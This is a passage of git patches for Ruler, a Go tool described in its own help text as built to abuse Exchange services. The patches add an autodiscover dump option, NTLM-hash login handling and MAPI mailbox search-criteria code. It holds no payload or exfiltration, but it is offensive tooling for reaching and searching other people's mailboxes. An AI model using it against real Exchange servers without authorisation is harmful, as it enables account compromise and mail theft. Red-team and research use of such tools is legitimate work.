resp) + resp, rawAutodiscover, err = autodiscover.GetMapiHTTP(config.Email, url, resp) if err != nil { - return err + exit(err) } } - config.URL, _ = url.Parse(mapi.ExtractMapiURL(resp)) - config.ABKURL, _ = url.Parse(mapi.ExtractMapiAddressBookURL(resp)) - config.LID = resp.Response.User.LegacyDN + mapiURL = mapi.ExtractMapiURL(resp) + abkURL = mapi.ExtractMapiAddressBookURL(resp) + userDN = resp.Response.User.LegacyDN - if config.URL.String() == "" { //try RPC - resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, config.DiscoURL.String(), resp) + if mapiURL == "" { //try RPC + resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, url, resp) if err != nil { exit(err) } @@ -397,16 +402,16 @@ func doAutodiscover(xnocache bool, xconfig string, xrpc bool) error { return fmt.Errorf("Both MAPI/HTTP and RPC/HTTP failed. Are the credentials valid? \n%s", resp.Response.Error) } - if xnocache == false { + if c.GlobalBool("nocache") == false { autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use } } else { - utils.Trace.Println("MAPI URL found: ", config.URL.String()) - utils.Trace.Println("MAPI AddressBook URL found: ", config.ABKURL.String()) + utils.Trace.Println("MAPI URL found: ", mapiURL) + utils.Trace.Println("MAPI AddressBook URL found: ", abkURL) - //mapi.Init(&config, config.LID, config.URL.String(), config.ABKURL.String(), mapi.HTTP) - if xnocache == false { + //mapi.Init(&config, userDN, mapiURL, abkURL, mapi.HTTP) + if c.GlobalBool("nocache") == false { autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use } } @@ -418,30 +423,26 @@ func doAutodiscover(xnocache bool, xconfig string, xrpc bool) error { } utils.Trace.Println("RPC/HTTP forced, trying RPC/HTTP") - if xnocache == false { //unless user specified nocache, check cache for existing autodiscover + if c.GlobalBool("nocache") == false { //unless user specified nocache, check cache for existing autodiscover resp = autodiscover.CheckCache(config.Email) } - resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, config.DiscoURL.String(), resp) + resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, url, resp) if err != nil { exit(err) } - config.LID = resp.Response.User.LegacyDN + userDN = resp.Response.User.LegacyDN - if xnocache == false { + if c.GlobalBool("nocache") == false { autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use } } - return nil -} -func doLogin() error { - var err error if config.RPCURL != "" { - mapi.Init(&config, config.LID, "", "", mapi.RPC) + mapi.Init(&config, userDN, "", "", mapi.RPC) } else { - mapi.Init(&config, config.LID, config.URL.String(), config.ABKURL.String(), mapi.HTTP) + mapi.Init(&config, userDN, mapiURL, abkURL, mapi.HTTP) } //now we should do the login From 4e849a5d91e909deebb46c39e660ccffc005843f Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 10 Aug 2017 15:27:47 +0200 Subject: [PATCH 08/35] Fixes an early close. Don't close the round tripper manually --- http-ntlm/ntlmtransport.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http-ntlm/ntlmtransport.go b/http-ntlm/ntlmtransport.go index 25a1f99..d57dc77 100644 --- a/http-ntlm/ntlmtransport.go +++ b/http-ntlm/ntlmtransport.go @@ -128,7 +128,7 @@ func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err err req.Header.Set("Authorization", "NTLM "+utils.EncBase64(authenticate.Bytes())) resp, err = client.Do(req) - defer resp.Body.Close() + } return resp, err } From ef148c8465aeb9370d8e76bb729c3a1afd73b08a Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 10 Aug 2017 16:27:21 +0200 Subject: [PATCH 09/35] Add a --dump option to the autodiscover command. This allows you to supply credentials, complete the autodiscover and then write the autodiscover record to file. * Useful when there is another issue preventing something like `check` from completeing and you only want the autodiscover record * --dump requres --out to work * --dump will prompt for users to supply credentials as well --- ruler.go | 88 +++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 68 insertions(+), 20 deletions(-) diff --git a/ruler.go b/ruler.go index 68c87f1..a04ff0f 100644 --- a/ruler.go +++ b/ruler.go @@ -45,10 +45,42 @@ func discover(c *cli.Context) error { return fmt.Errorf("Required param --domain is missing") } + if c.Bool("dump") == true && (c.GlobalString("username") == "" && c.GlobalString("email") =="" ) { + return fmt.Errorf("--dump requires credentials to be set!") + } + + if c.Bool("dump") == true && c.String("out") == "" { + return fmt.Errorf("--dump requires an out file to be set with --out /path/to/file.txt") + } + + var err error + if c.Bool("dump") == true && c.GlobalString("password") == "" && c.GlobalString("hash") == "" { + fmt.Printf("Password: ") + var pass []byte + pass, err = gopass.GetPasswd() + if err != nil { + // Handle gopass.ErrInterrupted or getch() read error + return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") + } + config.Pass = string(pass) + } else { + config.Pass = c.GlobalString("password") + if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { + return fmt.Errorf("Invalid hash provided. Hex decode failed") + } + } //setup our autodiscover service config.Domain = c.GlobalString("domain") - config.User = "nosuchuser" - config.Email = "nosuchemail" + if c.GlobalString("username") == "" { + config.User = "nosuchuser" + } else { + config.User = c.GlobalString("username") + } + if c.GlobalString("email") == "" { + config.Email = "nosuchemail" + } else { + config.Email = c.GlobalString("email") + } config.Basic = c.GlobalBool("basic") config.Insecure = c.GlobalBool("insecure") config.Verbose = c.GlobalBool("verbose") @@ -58,29 +90,41 @@ func discover(c *cli.Context) error { config.Proxy = c.GlobalString("proxy") autodiscover.SessionConfig = &config + _, domain, err := autodiscover.Autodiscover(config.Domain) if domain == "" && err != nil { return err } - utils.Info.Printf("Looks like the autodiscover service is at: %s \n",domain) - utils.Info.Println("Checking if domain is hosted on Office 365") - //smart check to see if domain is on office365 - //A request to https://login.microsoftonline.com//.well-known/openid-configuration - //response with 400 for none-hosted domains - //response with 200 for office365 domains - - - resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration",config.Domain)) - if resp.StatusCode == 400 { - utils.Info.Println("Domain is not hosted on Office 365") - } else if resp.StatusCode == 200 { - utils.Info.Println("Domain is hosted on Office 365") + if c.Bool("dump") == true { + path := c.String("out") + utils.Info.Printf("Looks like the autodiscover service was found, Writing to: %s \n",path) + fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666) + _, err := fout.WriteString(domain) + if err != nil { + return fmt.Errorf("Couldn't write to file for some reason..", err) + } } else { - utils.Error.Println("Received an unexpected response") - utils.Debug.Println(resp.StatusCode) + utils.Info.Printf("Looks like the autodiscover service is at: %s \n",domain) + utils.Info.Println("Checking if domain is hosted on Office 365") + //smart check to see if domain is on office365 + //A request to https://login.microsoftonline.com//.well-known/openid-configuration + //response with 400 for none-hosted domains + //response with 200 for office365 domains + + + resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration",config.Domain)) + if resp.StatusCode == 400 { + utils.Info.Println("Domain is not hosted on Office 365") + } else if resp.StatusCode == 200 { + utils.Info.Println("Domain is hosted on Office 365") + } else { + utils.Error.Println("Received an unexpected response") + utils.Debug.Println(resp.StatusCode) + } } + return nil } @@ -241,7 +285,6 @@ func connect(c *cli.Context) error { if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { return fmt.Errorf("Invalid hash provided. Hex decode failed") } - } //setup our autodiscover service config.Domain = c.GlobalString("domain") @@ -1049,8 +1092,13 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Usage: "Just run the autodiscover service to find the authentication point", Flags: []cli.Flag{ cli.BoolFlag{ - Name: "verbose,v", - Usage: "Display each attempt", + Name: "dump,d", + Usage: "Dump the autodiscover record to a text file (this needs credentails)", + }, + cli.StringFlag{ + Name: "out,o", + Value: "", + Usage: "The file to write to", }, }, Action: func(c *cli.Context) error { From 277f9703a75f1ac04a6d3e52b3f84571f013caaa Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 10 Aug 2017 16:33:28 +0200 Subject: [PATCH 10/35] Ensure that --url is also honoured in the autodiscover command. --- ruler.go | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/ruler.go b/ruler.go index a04ff0f..67aa275 100644 --- a/ruler.go +++ b/ruler.go @@ -88,10 +88,15 @@ func discover(c *cli.Context) error { config.RPCEncrypt = !c.GlobalBool("noencrypt") config.CookieJar, _ = cookiejar.New(nil) config.Proxy = c.GlobalString("proxy") + url := c.GlobalString("url") + + if url == "" { + url = config.Domain + } autodiscover.SessionConfig = &config - _, domain, err := autodiscover.Autodiscover(config.Domain) + _, domain, err := autodiscover.Autodiscover(url) if domain == "" && err != nil { return err From e74065644537df50cdbd2e2073d7c2d68efe4fd6 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 25 Aug 2017 09:20:50 +0200 Subject: [PATCH 11/35] add file-name and line-number to error logging --- utils/logging.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/utils/logging.go b/utils/logging.go index 7f483a9..c6a3ec6 100644 --- a/utils/logging.go +++ b/utils/logging.go @@ -33,7 +33,7 @@ func Init( Warning = log.New(warningHandle, "[WARNING] ", 0) Error = log.New(errorHandle, - "ERROR: ", log.Ldate|log.Ltime) + "ERROR: ", log.Ltime|log.Lshortfile) } else { Trace = log.New(traceHandle, "\033[33m[*] \033[0m", 0) @@ -45,6 +45,6 @@ func Init( Warning = log.New(warningHandle, "\033[91m[WARNING] \033[0m", 0) Error = log.New(errorHandle, - "\033[31mERROR\033[0m: ", log.Ldate|log.Ltime) + "\033[31mERROR\033[0m: ", log.Ltime|log.Lshortfile) } } From fd8b4a4314f71518e9bed668c660705636b543e2 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 31 Aug 2017 21:03:42 +0200 Subject: [PATCH 12/35] Bigish commit - to start adding support for searching mailboxes * New datastructs - getSearchCriteria and setSearchCriteria * New datastructs - restrictionDatastructs.go contains the datastructs for creating restrictions * New command in ruler - search --term "term" (still needs lots of fleshing out) Search criteria works, needs fleshing out. Need to dynamically create a search folder, populate this and have the option of deleting it again. Also need a better way of knowing if search is complete. Constantly getting SEARCH_RUNNING. Not sure if it needs to be stopped etc. --- _config.yml | 1 - mapi/constants.go | 3 + mapi/datastructs.go | 91 ++++++++++++ mapi/mapi.go | 229 ++++++++++++++++++++++++++++- mapi/restrictionDatastructs.go | 100 +++++++++++++ ruler.go | 257 ++++++++++++++++++++++----------- 6 files changed, 588 insertions(+), 93 deletions(-) delete mode 100644 _config.yml create mode 100644 mapi/restrictionDatastructs.go diff --git a/_config.yml b/_config.yml deleted file mode 100644 index fc24e7a..0000000 --- a/_config.yml +++ /dev/null @@ -1 +0,0 @@ -theme: jekyll-theme-hacker \ No newline at end of file diff --git a/mapi/constants.go b/mapi/constants.go index 687b673..8c549ab 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -496,6 +496,9 @@ var PidTagPrimarySendAccount = PropertyTag{PtypString, 0x0E28} //PidTagObjectType used in recepient var PidTagObjectType = PropertyTag{PtypInteger32, 0x0FFE} +//PidTagImportance used in recepient +var PidTagImportance = PropertyTag{PtypInteger32, 0x0017} + //PidTagDisplayType used in recepient var PidTagDisplayType = PropertyTag{PtypInteger32, 0x3900} diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 3fba0d6..d667079 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -181,6 +181,48 @@ type RopGetContentsTableResponse struct { RowCount uint32 } +//RopSetSearchCriteriaRequest is used to set the search criteria on a folder +type RopSetSearchCriteriaRequest struct { + RopID uint8 //0x30 + LogonID uint8 + InputHandleIndex uint8 + RestrictDataSize uint16 + RestrictionData []byte + FolderIDCount uint16 + FolderIds []byte + SearchFlags uint32 +} + +//RopSetSearchCriteriaResponse is used to set the search criteria on a folder +type RopSetSearchCriteriaResponse struct { + RopID uint8 //0x30 + InputHandleIndex uint8 + ReturnValue uint32 +} + +//RopGetSearchCriteriaRequest is used to set the search criteria on a folder +type RopGetSearchCriteriaRequest struct { + RopID uint8 //0x30 + LogonID uint8 + InputHandleIndex uint8 + UseUnicode uint8 + IncludeRestriction uint8 + IncludeFolders uint8 +} + +//RopGetSearchCriteriaResponse is used to set the search criteria on a folder +type RopGetSearchCriteriaResponse struct { + RopID uint8 //0x30 + InputHandleIndex uint8 + ReturnValue uint32 + LoginID uint8 + RestrictDataSize uint16 + RestrictionData []byte + FolderIDCount uint16 + FolderIds []byte + SearchFlags uint32 +} + //RopGetPropertyIdsFromNamesRequest struct to get property ids for LIDs type RopGetPropertyIdsFromNamesRequest struct { RopID uint8 //0x56 @@ -1065,6 +1107,16 @@ func (getContentsTable RopGetContentsTableRequest) Marshal() []byte { return utils.BodyToBytes(getContentsTable) } +//Marshal turn RopSetSearchCriteriaRequest into Bytes +func (setSearchCriteria RopSetSearchCriteriaRequest) Marshal() []byte { + return utils.BodyToBytes(setSearchCriteria) +} + +//Marshal turn RopSetSearchCriteriaRequest into Bytes +func (getSearchCriteria RopGetSearchCriteriaRequest) Marshal() []byte { + return utils.BodyToBytes(getSearchCriteria) +} + //Marshal turn RopGetRulesTableRequest into Bytes func (getRules RopGetRulesTableRequest) Marshal() []byte { return utils.BodyToBytes(getRules) @@ -1372,6 +1424,45 @@ func (deleteFolderResponse *RopDeleteFolderResponse) Unmarshal(resp []byte) (int return pos, nil } +//Unmarshal function to produce RopSetSearchCriteriaResponse struct +func (setSearchCriteriaResp *RopSetSearchCriteriaResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + setSearchCriteriaResp.RopID, pos = utils.ReadByte(pos, resp) + setSearchCriteriaResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + setSearchCriteriaResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + if setSearchCriteriaResp.ReturnValue != 0 { + return pos, &ErrorCode{setSearchCriteriaResp.ReturnValue} + } + return pos, nil +} + +//Unmarshal function to produce RopSetSearchCriteriaResponse struct +func (getSearchCriteriaResp *RopGetSearchCriteriaResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + getSearchCriteriaResp.RopID, pos = utils.ReadByte(pos, resp) + getSearchCriteriaResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + getSearchCriteriaResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getSearchCriteriaResp.ReturnValue != 0 { + return pos, &ErrorCode{getSearchCriteriaResp.ReturnValue} + } + getSearchCriteriaResp.RestrictDataSize, pos = utils.ReadUint16(pos, resp) + if getSearchCriteriaResp.RestrictDataSize != 0 { + getSearchCriteriaResp.RestrictionData, pos = utils.ReadBytes(pos, int(getSearchCriteriaResp.RestrictDataSize), resp) + } + + getSearchCriteriaResp.LoginID, pos = utils.ReadByte(pos, resp) + + getSearchCriteriaResp.FolderIDCount, pos = utils.ReadUint16(pos, resp) + if getSearchCriteriaResp.FolderIDCount != 0 { + getSearchCriteriaResp.FolderIds, pos = utils.ReadBytes(pos, int(getSearchCriteriaResp.FolderIDCount)*8, resp) + } + getSearchCriteriaResp.SearchFlags, pos = utils.ReadUint32(pos, resp) + return pos, nil +} + //Unmarshal function to produce RopCreateMessageResponse struct func (modRecipientsResponse *RopModifyRecipientsResponse) Unmarshal(resp []byte) (int, error) { pos := 0 diff --git a/mapi/mapi.go b/mapi/mapi.go index 9e208a0..daef520 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -133,7 +133,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { return nil, err } } - //utils.Info.Println(string(rawResp)) + utils.Info.Println(string(rawResp)) executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) return &executeResponse, nil @@ -844,6 +844,204 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet return nil, ErrUnknown } +//SetSearchCriteria function is used to set the search criteria on a folder or set of folders +func SetSearchCriteria(folderidcount int, folderids []byte, searchFolder []byte) (*RopSetSearchCriteriaResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandle = 0x00 + getFolder.OutputHandle = 0x01 + getFolder.FolderID = searchFolder + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + + setCriteria := RopSetSearchCriteriaRequest{RopID: 0x30, LogonID: AuthSession.LogonID} + setCriteria.InputHandleIndex = 0x01 + + restrict := AndRestriction{RestrictType: 0x00} + restrict.RestrictCount = uint16(2) + + restrict2 := AndRestriction{RestrictType: 0x00} + restrict2.RestrictCount = uint16(7) + + restrictContent := ContentRestriction{RestrictType: 0x03} + restrictContent.FuzzyLevelLow = flSUBSTRING + restrictContent.FuzzyLevelHigh = flIGNORECASE + restrictContent.PropertyTag = PidTagSubject + restrictContent.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString("test")} + + restrictNot := NotRestriction{RestrictType: 0x02} + restrictNot.Restriction = restrictContent + + restrictContent2 := ContentRestriction{RestrictType: 0x03} + restrictContent2.FuzzyLevelLow = flPREFIX + restrictContent2.FuzzyLevelHigh = flIGNORECASE + restrictContent2.PropertyTag = PidTagMessageClass + restrictContent2.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Note")} + + restrictNot2 := NotRestriction{RestrictType: 0x02} + restrictNot2.Restriction = restrictContent2 + + restrictContent3 := ContentRestriction{RestrictType: 0x03} + restrictContent3.FuzzyLevelLow = flPREFIX + restrictContent3.FuzzyLevelHigh = flIGNORECASE + restrictContent3.PropertyTag = PidTagMessageClass + restrictContent3.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.DistList")} + + restrictNot3 := NotRestriction{RestrictType: 0x02} + restrictNot3.Restriction = restrictContent3 + + restrictContent4 := ContentRestriction{RestrictType: 0x03} + restrictContent4.FuzzyLevelLow = flPREFIX + restrictContent4.FuzzyLevelHigh = flIGNORECASE + restrictContent4.PropertyTag = PidTagMessageClass + restrictContent4.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Activity")} + + restrictNot4 := NotRestriction{RestrictType: 0x02} + restrictNot4.Restriction = restrictContent4 + + restrictContent5 := ContentRestriction{RestrictType: 0x03} + restrictContent5.FuzzyLevelLow = flPREFIX + restrictContent5.FuzzyLevelHigh = flIGNORECASE + restrictContent5.PropertyTag = PidTagMessageClass + restrictContent5.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.StickyNote")} + + restrictNot5 := NotRestriction{RestrictType: 0x02} + restrictNot5.Restriction = restrictContent5 + + restrictContent6 := ContentRestriction{RestrictType: 0x03} + restrictContent6.FuzzyLevelLow = flFULLSTRING + restrictContent6.FuzzyLevelHigh = flIGNORECASE + restrictContent6.PropertyTag = PidTagMessageClass + restrictContent6.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Task")} + + restrictNot6 := NotRestriction{RestrictType: 0x02} + restrictNot6.Restriction = restrictContent6 + + restrictContent7 := ContentRestriction{RestrictType: 0x03} + restrictContent7.FuzzyLevelLow = flPREFIX + restrictContent7.FuzzyLevelHigh = flIGNORECASE + restrictContent7.PropertyTag = PidTagMessageClass + restrictContent7.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Task.")} + + restrictNot7 := NotRestriction{RestrictType: 0x02} + restrictNot7.Restriction = restrictContent7 + + restrict2.Restricts = []Restriction{restrictNot, restrictNot2, restrictNot3, restrictNot4, restrictNot5, restrictNot6, restrictNot7} + + restrict3 := AndRestriction{RestrictType: 0x00} + restrict3.RestrictCount = uint16(1) + + restrictRes := PropertyRestriction{RestrictType: 0x04} + restrictRes.RelOp = 0x04 + restrictRes.PropTag = PidTagImportance + restrictRes.TaggedValue = TaggedPropertyValue{PropertyTag: PidTagImportance, PropertyValue: []byte{0x02, 0x00, 0x00, 0x00}} + + restrict3.Restricts = []Restriction{restrictRes} + restrict.Restricts = []Restriction{restrictContent, restrictContent2} + + setCriteria.RestrictionData = restrict.Marshal() + + setCriteria.RestrictDataSize = uint16(len(setCriteria.RestrictionData)) + setCriteria.FolderIds = folderids + setCriteria.FolderIDCount = uint16(folderidcount) + setCriteria.SearchFlags = RESTARTSEARCH | SHALLOWSEARCH | NONCONTENTINDEXEDSEARCH + + fullReq = append(fullReq, setCriteria.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + //fetch folder + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + + bufPtr := 10 + var p int + var e error + + openFolderResponse := RopOpenFolderResponse{} + + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p + + setCriteriaResponse := RopSetSearchCriteriaResponse{} + + if _, e := setCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + + return &setCriteriaResponse, nil + } + + return nil, ErrUnknown +} + +//GetSearchCriteria function is used to set the search criteria on a folder or set of folders +func GetSearchCriteria(folderidcount int, folderids []byte, searchFolder []byte) (*RopGetSearchCriteriaResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandle = 0x00 + getFolder.OutputHandle = 0x01 + getFolder.FolderID = searchFolder + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + + getCriteria := RopGetSearchCriteriaRequest{RopID: 0x31, LogonID: AuthSession.LogonID} + getCriteria.InputHandleIndex = 0x01 + getCriteria.UseUnicode = 0x01 + getCriteria.IncludeFolders = 0x00 + getCriteria.IncludeRestriction = 0x00 + + fullReq = append(fullReq, getCriteria.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + //fetch folder + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + + bufPtr := 10 + var p int + var e error + + openFolderResponse := RopOpenFolderResponse{} + + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p + + getCriteriaResponse := RopGetSearchCriteriaResponse{} + fmt.Println(execResponse.RopBuffer[bufPtr:]) + if _, e := getCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + + return &getCriteriaResponse, nil + } + + return nil, ErrUnknown +} + //SetFolderProperties is used to set one or more properties on a folder func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (*RopSetPropertiesResponse, error) { execRequest := ExecuteRequest{} @@ -1803,17 +2001,24 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { return nil, ErrUnknown } -//GetFoler for backwards compatibility +//GetFolder for backwards compatibility //This function will be replaced in newer versions func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, error) { - folderResp, _, e := GetFolderProps(folderid, nil) + folderID := AuthSession.Folderids[folderid] + folderResp, _, e := GetFolderFromID(folderID, nil) return folderResp, e } -//GetFolder function get's a folder from the folders id +//GetFolderProps function get's a folder from the folders id //FolderIds can be any of the "specialFolders" as defined in Exchange //mapi/datastructs.go folder id/locations constants func GetFolderProps(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, *RopGetPropertiesSpecificResponse, error) { + folderID := AuthSession.Folderids[folderid] + return GetFolderFromID(folderID, columns) +} + +//GetFolderFromID newer methods to actually allow using the folder id +func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResponse, *RopGetPropertiesSpecificResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1822,7 +2027,7 @@ func GetFolderProps(folderid int, columns []PropertyTag) (*RopOpenFolderResponse getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} getFolder.InputHandle = 0x00 getFolder.OutputHandle = 0x01 - getFolder.FolderID = AuthSession.Folderids[folderid] + getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 var k []byte @@ -2312,14 +2517,24 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { return nil, fmt.Errorf("An unexpected error occurred") } -//CreateFolder function to create a folder on the exchange server +//CreateSearchFolder function to create a search folder +func CreateSearchFolder(folderName string) (*RopCreateFolderResponse, error) { + return CreateFolderRequest(folderName, true, 0x02) +} + +//CreateFolder function to create a search folder func CreateFolder(folderName string, hidden bool) (*RopCreateFolderResponse, error) { + return CreateFolderRequest(folderName, hidden, 0x01) +} + +//CreateFolderRequest function to create a folder on the exchange server +func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreateFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() execRequest.MaxRopOut = 262144 createFolder := RopCreateFolderRequest{RopID: 0x1C, LogonID: AuthSession.LogonID, InputHandle: 0x00, OutputHandle: 0x01, Reserved: 0x00} - createFolder.FolderType = 0x01 + createFolder.FolderType = ftype createFolder.UseUnicodeStrings = 0x01 createFolder.OpenExisting = 0x00 createFolder.DisplayName = utils.UniString(folderName) diff --git a/mapi/restrictionDatastructs.go b/mapi/restrictionDatastructs.go new file mode 100644 index 0000000..f6bc919 --- /dev/null +++ b/mapi/restrictionDatastructs.go @@ -0,0 +1,100 @@ +package mapi + +import "github.com/sensepost/ruler/utils" + +//Contains the datastructs used to form restrictions + +//match types for fuzzy low +const ( + flFULLSTRING = 0x0000 //field and the value of the column property tag match one another in their entirety + flSUBSTRING = 0x0001 //field matches some portion of the value of the column tag + flPREFIX = 0x0002 //field matches a starting portion of the value of the column tag +) + +//match types for fuzzy high +const ( + flIGNORECASE = 0x0001 //The comparison does not consider case + flIGNOREONSPACE = 0x0002 //The comparison ignores Unicode-defined nonspacing characters such as diacritical marks + flLOOSE = 0x0004 //The comparison results in a match whenever possible, ignoring case and nonspacing characters +) + +//search flags +const ( + STOPSEARCH = 0x00000001 + RESTARTSEARCH = 0x00000002 + RECURSIVESEARCH = 0x00000004 + SHALLOWSEARCH = 0x00000008 + CONTENTINDEXEDSEARCH = 0x00010000 + NONCONTENTINDEXEDSEARCH = 0x00020000 + STATICSEARCH = 0x00040000 +) + +//search return flags +const ( + SEARCHRUNNING = 0x00000001 + SEARCHREBUILD = 0x00000002 + SEARCHRECURSIVE = 0x00000004 + SEARCHCOMPLETE = 0x00001000 + SEARCHPARTIAL = 0x00002000 + SEARCHSTATIC = 0x00010000 + SEARCHMAYBESTATIC = 0x00020000 + CITOTALLY = 0x01000000 + TWIRTOTALLY = 0x08000000 +) + +type Restriction interface { + Marshal() []byte +} + +//ContentRestriction describes a content restriction, +//which is used to limit a table view to only those rows that include a column +//with contents matching a search string. +type ContentRestriction struct { + RestrictType uint8 //0x03 + FuzzyLevelLow uint16 //type of match + FuzzyLevelHigh uint16 + PropertyTag PropertyTag //indicates the propertytag value field + PropertyValue TaggedPropertyValue +} + +//AndRestriction structure describes a combination of nested conditions that need to be +//AND'ed with each other +type AndRestriction struct { + RestrictType uint8 //0x00 + RestrictCount uint16 + Restricts []Restriction +} + +//NotRestriction is used to apply a logical NOT operation to a single restriction +type NotRestriction struct { + RestrictType uint8 //0x02 + Restriction Restriction +} + +//PropertyRestriction is used to apply a logical NOT operation to a single restriction +type PropertyRestriction struct { + RestrictType uint8 //0x04 + RelOp uint8 + PropTag PropertyTag + TaggedValue TaggedPropertyValue +} + +//Marshal turn ContentRestriction into Bytes +func (restriction ContentRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + +//Marshal turn AndResetriction into Bytes +func (restriction AndRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + +//Marshal turn NotRestriction into Bytes +func (restriction NotRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + +//Marshal turn PropertyRestriction into Bytes +func (restriction PropertyRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} diff --git a/ruler.go b/ruler.go index 67aa275..66613b2 100644 --- a/ruler.go +++ b/ruler.go @@ -40,95 +40,93 @@ func exit(err error) { //function to perform an autodiscover func discover(c *cli.Context) error { - if c.GlobalString("domain") == "" { return fmt.Errorf("Required param --domain is missing") } - if c.Bool("dump") == true && (c.GlobalString("username") == "" && c.GlobalString("email") =="" ) { - return fmt.Errorf("--dump requires credentials to be set!") - } - - if c.Bool("dump") == true && c.String("out") == "" { - return fmt.Errorf("--dump requires an out file to be set with --out /path/to/file.txt") - } - - var err error - if c.Bool("dump") == true && c.GlobalString("password") == "" && c.GlobalString("hash") == "" { - fmt.Printf("Password: ") - var pass []byte - pass, err = gopass.GetPasswd() - if err != nil { - // Handle gopass.ErrInterrupted or getch() read error - return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") - } - config.Pass = string(pass) - } else { - config.Pass = c.GlobalString("password") - if config.NTHash, err = 